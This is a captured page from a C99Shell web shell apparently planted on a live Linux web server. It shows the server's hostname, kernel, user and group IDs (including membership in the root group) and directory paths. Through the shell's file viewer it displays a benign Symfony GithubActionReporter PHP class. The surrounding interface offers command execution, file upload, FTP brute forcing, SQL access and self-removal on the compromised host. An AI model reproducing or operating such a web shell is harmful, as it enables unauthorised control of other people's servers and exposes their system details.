!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/console/CI/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GithubActionReporter.php (3.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\CI;

use 
Symfony\Component\Console\Output\OutputInterface;

/**
 * Utility class for Github actions.
 *
 * @author Maxime Steinhausser <maxime.steinhausser@gmail.com>
 */
class GithubActionReporter
{
    private 
$output;

    
/**
     * @see https://github.com/actions/toolkit/blob/5e5e1b7aacba68a53836a34db4a288c3c1c1585b/packages/core/src/command.ts#L80-L85
     */
    
private const ESCAPED_DATA = [
        
'%' => '%25',
        
"\r" => '%0D',
        
"\n" => '%0A',
    ];

    
/**
     * @see https://github.com/actions/toolkit/blob/5e5e1b7aacba68a53836a34db4a288c3c1c1585b/packages/core/src/command.ts#L87-L94
     */
    
private const ESCAPED_PROPERTIES = [
        
'%' => '%25',
        
"\r" => '%0D',
        
"\n" => '%0A',
        
':' => '%3A',
        
',' => '%2C',
    ];

    public function 
__construct(OutputInterface $output)
    {
        
$this->output $output;
    }

    public static function 
isGithubActionEnvironment(): bool
    
{
        return 
false !== getenv('GITHUB_ACTIONS');
    }

    
/**
     * Output an error using the Github annotations format.
     *
     * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-an-error-message
     */
    
public function error(string $messagestring $file nullint $line nullint $col null): void
    
{
        
$this->log('error'$message$file$line$col);
    }

    
/**
     * Output a warning using the Github annotations format.
     *
     * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-a-warning-message
     */
    
public function warning(string $messagestring $file nullint $line nullint $col null): void
    
{
        
$this->log('warning'$message$file$line$col);
    }

    
/**
     * Output a debug log using the Github annotations format.
     *
     * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-a-debug-message
     */
    
public function debug(string $messagestring $file nullint $line nullint $col null): void
    
{
        
$this->log('debug'$message$file$line$col);
    }

    private function 
log(string $typestring $messagestring $file nullint $line nullint $col null): void
    
{
        
// Some values must be encoded.
        
$message strtr($messageself::ESCAPED_DATA);

        if (!
$file) {
            
// No file provided, output the message solely:
            
$this->output->writeln(sprintf('::%s::%s'$type$message));

            return;
        }

        
$this->output->writeln(sprintf('::%s file=%s,line=%s,col=%s::%s'$typestrtr($fileself::ESCAPED_PROPERTIES), strtr($line ?? 1self::ESCAPED_PROPERTIES), strtr($col ?? 0self::ESCAPED_PROPERTIES), $message));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--